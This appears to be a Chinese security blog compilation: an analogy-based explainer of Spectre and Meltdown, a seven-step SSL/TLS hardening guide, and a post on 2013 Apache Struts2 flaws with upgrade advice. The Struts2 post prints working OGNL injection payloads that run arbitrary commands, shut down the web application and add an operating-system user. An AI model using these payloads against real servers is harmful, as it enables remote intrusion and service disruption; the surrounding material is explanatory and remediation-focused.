2018-03-12

CPU幽灵和熔断漏洞

幽灵、熔断漏洞是Google Project Zero团队发现的三个安全漏洞变体1的统称,其中漏洞变体1与变体2是幽灵漏洞的不同方面,因为它们都是通过欺骗方式执行的,而幽灵是《007》电影中与詹姆斯·邦德对抗的邪恶组织的名称。

漏洞变体3就是熔断漏洞,因为它可以有效地“熔断”处理器的安全防护。

这里我们以漏洞变体2来举例说明。

它利用了计算机的一项重要特性,即预测执行(speculative execution)。预测执行可以加强CPU的速度与性能,在CPU实际发出请求之前,就预测CPU可能执行的任务。

预测执行功能就像是一个探路员,运行在CPU的众多其他功能和能力之前。它的目标是通过预先探索CPU的各种可能任务,为整个系统加速。

CPU幽灵和熔断漏洞到底是啥?Intel通俗易懂科普了一番

想象一下当我们的探路员走到半路,遇到一个多岔路口的情况:一个引导员突然出现,指挥它走一条特定的路线。

但不幸的是,那个引导员其实是个坏人,是通过恶意程序进入的系统。

CPU幽灵和熔断漏洞到底是啥?Intel通俗易懂科普了一番

随着我们通过路口,这个坏人偷偷地将自己绑在探路员身上,那么他就可能看到我们的探路员在这部分路途中看到的一部分东西,包括隐私信息。

最终,探路员会发觉自己走了一条错误的路,然后回到最初的岔路口,重回正轨,但那时,坏人可能已经获取了自己想要的信息。

CPU幽灵和熔断漏洞到底是啥?Intel通俗易懂科普了一番

Intel已经设计出一组新的CPU硬件功能,与操作系统协作,创造虚拟栅栏,保护系统与其中保存的数据免受这种运用预测执行方法的攻击

CPU幽灵和熔断漏洞到底是啥?Intel通俗易懂科普了一番

在我们刚刚举的例子里,它可以让潜在的引导员,或者说坏人,完全远离计算机的决策进程,无法影响探路员所走的路线。

结果就是,这种解决方案既可以保留预测执行的众多益处,又能同时解决漏洞变体2的威胁。

2016-09-23

如何解决关键SSL安全问题和漏洞

SSL(安全套接字层)广泛地用于Web浏览器与服务器之间的身份认证和加密数据传输,以保障在Internet上数据传输之安全。下面小编将为大家探讨新的SSL安全形势以及新的安全问题。

下面让我们来了解这些SSL安全问题以及可帮助信息安全专业人员解决这些问题及安全部署SSL的七个步骤。

第一步:SSL证书

SSL证书是SSL安全的重要组成部分,并指示用户网站是否可信。基于此,SSL必须是从可靠的证书颁发机构(CA)获取,而且CA的市场份额越大越好,因为这意味着证书被撤销的几率更低。企业不应该依靠自签名证书。企业最好选择采用SHA-2散列算法的证书,因为目前这种算法还没有已知漏洞。

扩展验证(EV)证书提供了另一种方法来提高对网站安全的信任度。大多数浏览器会将具有EV证书的网站显示为安全绿色网站,这为最终用户提供了强烈的视觉线索,让他们知道该网站可安全访问。

第二步:禁用过时的SSL版本

较旧版本的SSL协议是导致SSL安全问题的主要因素。SSL 2.0早就遭受攻击,并应该被禁用。而因为POODLE攻击的发现,SSL 3.0 现在也被视为遭受破坏,且不应该被支持。Web服务器应该配置为在第一个实例中使用TLSv1.2,这提供了最高的安全性。现代浏览器都支持这个协议,运行旧浏览器的用户则可以启用TLS 1.1和1.0支持。

第三步:禁用弱密码

少于128位的密码应该被禁用,因为它们没有提供足够的加密强度。这也将满足禁用输出密码的要求。RC4密码应该被禁用,因为它存在漏洞容易受到攻击。

理想情况下,web服务器应该配置为优先使用ECDHE密码,启用前向保密。该选项意味着,即使服务器的私钥被攻破,攻击者将无法解密先前拦截的通信。

第四步:禁用客户端重新协商

重新协商允许客户端和服务器阻止SSL交流以重新协商连接的参数。客户端发起的重新协商可能导致拒绝服务攻击,这是严重的SSL安全问题,因为这个过程需要服务器端更多的处理能力。

第五步:禁用TLS压缩

CRIME攻击通过利用压缩过程中的漏洞,可解密部分安全连接。而禁用TLS压缩可防止这种攻击。另外要注意,HTTP压缩可能被TIME和BREACH攻击利用;然而,这些都是非常难以完成的攻击。

第六步:禁用混合内容

应该在网站的所有区域启用加密。任何混合内容(即部分加密,部分未加密)都可能导致整个用户会话遭攻击。

第七步:安全cookie和HTTP严格传输安全(HSTS)

确保所有控制用户会话的cookie都设置了安全属性;这可防止cookie通过不安全的连接被暴力破解和拦截。与此类似,还应该启用HSTS以防止任何未加密连接。

2016-08-20

struts2安全漏洞

在2013年6月底发布的Struts 2.3.15版本被曝出存在重要的安全漏洞 ,主要问题如下:

可远程执行服务器脚本代码

用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接,command goes here可以换成是破坏脚本的路径和参数,比如fdisk -f等,造成破环系统无法运行的目的。

重定向漏洞

用户可以构造如知名网站淘宝的重定向连接,形如打折新款,引导用户点击后进入钓鱼网站,在界面上让其进行登陆用以获取用户的密码。

造成的影响: 苹果、中国移动、中国联通、百度、腾讯、淘宝、京东、Sohu、民生银行等大型企业的网站均遭毒手,运维 工程师苦不堪言。

应对措施:

Apache团队紧急发布了Struts 2.3.15.1安全更新版本,可升级到此版本来解决上述问题。

struts2漏洞攻击方法与解决方案

1、原理 Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

?user.address.city=Bishkek&user['favoriteDrink']=kumys ONGL将它转换为:

复制代码代码如下:

action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys") 这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。 为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

复制代码代码如下:

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 转义后是这样: ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是 java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭

类似的可以执行 java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/) 只要有权限就可以执行任何DOS命令。

2、解决方法 网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4

下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的: commons-lang3-3.1.jar (保留commons-lang-2.6.jar) javassist-3.11.0.GA.jar (新加包) ognl-3.0.5.jar (替换旧版本) struts2-core-2.3.4.1.jar (替换旧版本) xwork-core-2.3.4.1.jar (替换旧版本)